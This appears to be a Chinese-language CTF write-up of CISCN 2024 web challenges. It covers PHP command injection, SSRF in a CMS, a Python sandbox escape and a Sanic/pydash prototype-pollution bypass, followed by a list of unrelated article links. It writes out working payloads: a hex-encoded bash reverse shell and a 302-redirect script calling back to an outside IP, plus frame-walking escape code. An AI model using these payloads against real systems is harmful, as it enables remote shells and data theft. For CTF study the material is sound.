当前位置: 首页 > news >正文

CISCN 2024 Web赛题实战剖析:从PHP代码审计到Python沙箱逃逸的攻防博弈

1. PHP代码审计实战:从源码泄露到命令注入

在CTF比赛中,PHP代码审计类题目往往是最常见的入门题型。这次遇到的Simple_php题目看似简单,却暗藏玄机。题目直接给出了源码,这种"开卷考试"反而更考验选手的基础功底。

首先用paste或rev命令读取文件时,发现一个关键线索:系统存在mysql用户。通过cmd=mysql --version确认服务确实在运行,再用ps -aux进一步验证。这里有个细节技巧:当根目录没有flag文件时,我们需要转换思路,从数据库入手寻找突破口。

命令执行绕过是这道题的核心考点。由于引号被过滤,我采用十六进制编码反弹shell的方式:

cmd=php -r $a=ff3b62617368202d63202262617368202d69203e26202f6465762f7463702f3132302e34362e34312e3137332f3930323320303e2631223b;system(hex2bin($a));

这个payload的精妙之处在于:

  1. 用hex2bin避免直接使用引号
  2. 变量名以字母开头防止被识别为数字
  3. 完整的bash反弹shell十六进制编码

成功获取shell后,通过mysql命令行查询flag:

mysql -uroot -proot -e "show databases;" mysql -uroot -proot -e "use PHP_CMS;show tables;" mysql -uroot -proot -e "use PHP_CMS;SELECT * FROM F1ag_Se3Re7;"

2. CMS漏洞利用:从SSRF到权限提升

easycms这道题展示了真实环境中CMS系统的典型漏洞链。题目提示存在/flag.php,但限制仅允许127.0.0.1访问:

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ echo "Just input 'cmd' From 127.0.0.1"; return; }else{ system($_GET['cmd']); }

通过信息搜集发现这是迅睿CMS系统,在GitHub找到源码后,重点审计Api.php的qrcode函数和Helper.php的dr_catcher_data函数。发现thumb参数存在SSRF漏洞,可以构造302跳转绕过本地限制:

<?php header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.46.41.173%2F9023%200%3E%261%22"); exit(); ?>

最终利用payload:

/index.php?s=api&c=api&m=qrcode&text=111&size=111&level=1&thumb=http://120.46.41.173/Jay17/302.php

在easycms_revenge题目中,防御方增加了图片类型检测。这时需要结合文件上传漏洞的绕过技巧,在302脚本前添加GIF89a魔术字:

GIF89a <html> <?php header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.46.41.173%2F9023%200%3E%261%22"); exit(); ?> </html>

3. Python沙箱逃逸:从字节码审计到栈帧利用

mossfern题目展示了一个Python在线执行环境的沙箱逃逸过程。系统通过三层防御机制保护:

  1. 基础字符串检查:过滤非ASCII字符和危险关键词(__、getattr、exit)
  2. 审计钩子:监控危险操作(os、sys、open等)
  3. 字节码检查:禁止LOAD_GLOBAL等危险操作码

突破口在于生成器函数的栈帧对象。通过gi_frame属性可以获取当前栈帧,利用f_back属性回溯调用链:

def waff(): def f(): yield g.gi_frame.f_back g = f() frame = [x for x in g][0] gattr = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2] dir = gattr.dir str = gattr.str

最终通过分析代码对象的co_consts属性获取flag:

def exp(): def scq(): yield scq.gi_frame.f_back scq = scq() frame = [x for x in scq][0] gattr = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2] getflag = frame.f_back.f_back.f_back.f_code for i in str(getflag.co_consts): print(i)

4. Sanic框架漏洞:从原型污染到权限绕过

*sanic题目展示了Web框架层面的安全问题。通过审计源码发现几个关键点:

  1. 登录验证存在逻辑缺陷:if user.lower() == 'adm;n'
  2. 使用存在漏洞的pydash库(5.1.2版本)
  3. 存在原型污染风险点:pydash.set_(pollute, key, value)

利用链构造如下:

  1. 首先设置cookie:user=adm;n绕过登录验证
  2. 然后发送精心构造的JSON数据污染原型:
{ "key": "__proto__.admin", "value": true }

这个案例提醒我们,即使是现代Web框架,错误的使用方式也会带来严重的安全问题。开发时应当:

  • 严格校验用户输入
  • 避免使用存在已知漏洞的第三方库
  • 对敏感操作进行多重验证
http://www.cnnetsun.cn/news/1530577.html

相关文章:

  • Fun-ASR-MLT-Nano-2512问题解决:常见部署错误排查指南
  • 短视频创作者必备:Qwen3-ForcedAligner-0.6B毫秒级字幕生成,3步上手
  • 【UE5+Quest3】从蓝图到设备:打通彩色透视混合现实的关键路径
  • Z-Image-Turbo应用案例:快速生成社交媒体配图与电商主图
  • 别再画线框图了!用墨刀素材广场的HMI模板,30分钟搞定机械臂控制界面原型
  • OV5640摄像头驱动移植避坑指南:i.MX6ULL平台上那些容易忽略的像素格式与V4L2设置
  • STM32F407VET6实战:FreeRTOS+FATFS+SDIO配置全流程(含SD卡初始化避坑指南)
  • 一文读懂水面无人艇:每个硬件模块到底负责什么
  • OpCore Simplify:重新定义Hackintosh配置的技术民主化
  • ComfyUI自定义节点开发指南:从零构建你的专属AI工具链
  • 信号处理新手必看:EMD分解的硬币分拣机原理与金融数据实战
  • 【泛微Ecode新手实践-01】从零到一:构建你的第一个自定义页面
  • 5分钟搞定阿里MGeo地址相似度匹配,中文实体对齐一键部署
  • DAMO-YOLO与卷积神经网络的协同优化
  • ABYSSAL VISION(Flux.1-Dev)图解Transformer架构:从注意力机制到模型部署
  • VirtualBox磁盘扩容全攻略:从命令行到Linux分区一步到位
  • 医疗问答系统实战:用RAG+BART搭建你的第一个AI医生(附完整代码)
  • Qwen3-ASR-1.7B实战案例:为无字幕教学视频自动生成双语时间轴字幕
  • 手把手教你搭建旋转变压器激励电路:从SPWM滤波到功率放大全流程
  • 4个步骤掌握Stable Diffusion模型定制:从入门到风格迁移
  • 如何在Ubuntu 22.04上快速部署Dify和vLLM服务(含避坑指南)
  • s2-pro部署教程:3步完成Fish Audio开源语音模型镜像快速启动
  • Appium自动化测试入门:从环境搭建到第一个Python脚本实战
  • QML虚拟键盘自定义样式实战:从环境变量到资源路径的完整指南
  • 避坑指南:用Docker搞定Livox Avia与工业相机标定(含网络配置与可视化调试)
  • uniapp地图定位避坑指南:uni.getLocation、百度map和navigator.geolocation实战对比
  • 安卓Compose中accompanist库实战指南:从权限管理到沉浸式UI
  • 从汉明窗到梅尔滤波器:MFCC算法中的信号处理冷知识
  • 终极PT下载解决方案:PT-Plugin-Plus完全指南
  • 简单几步:通义千问1.8B量化版WebUI部署,即刻开始对话